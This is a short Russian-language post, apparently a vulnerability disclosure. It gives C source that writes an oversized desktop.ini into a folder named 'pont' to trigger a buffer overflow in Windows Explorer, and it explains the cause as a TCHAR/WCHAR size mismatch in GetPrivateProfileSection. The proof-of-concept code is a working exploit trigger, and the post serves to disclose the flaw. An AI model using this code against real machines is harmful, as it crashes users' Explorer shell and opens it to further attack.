Внимание: ИСХОДНИКИ.
#include <direct.h>
#include <stdio.h>
#include <windows.h>
#include <sys/stat.h>
#define BUFF 2300
void main(){
        char path[256];
        char evil[BUFF+1]="";
        FILE *bof;
        struct stat st;
        strcpy(path,"\\pont");
        mkdir(path);
        SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
        strcat(path,"\\Desktop.ini");
        if (stat(path,&st)==0)
                { remove(path); exit(1);}//just execute this program twice to remote this file 
        bof=fopen(path,"w");
        fputs("[.ShellClassInfo]\n",bof);
        memset(evil,'A',BUFF);
        fputs(evil,bof);
        fclose(bof);
}
Т. Е. она просто создает определенный файл (desktop.ini) в директории pont, 
как заметил A.A.Z.
Описание функции, которая вызывается в процессе парсинга desktop.ini (описание взято из MSDN) 
DWORD GetPrivateProfileSection(
  LPCTSTR lpAppName,
  LPTSTR lpReturnedString,
  DWORD nSize,
  LPCTSTR lpFileName
);
Microsoft специфицирует параметр nSize следующим образом: размер буфера, на который указывает lpReturnedString, в TCHAR’ах. Что и является корнем всей проблемы, так как при использовании UNICODE кодировки размер должен считаться WCHAR’ами. То есть 1 для nSize равен sizeof(TCHAR) а должно быть sizeof(WCHAR).
В результате: Переполнение буфера в Explorer.exe со всеми вытекающими последствиями.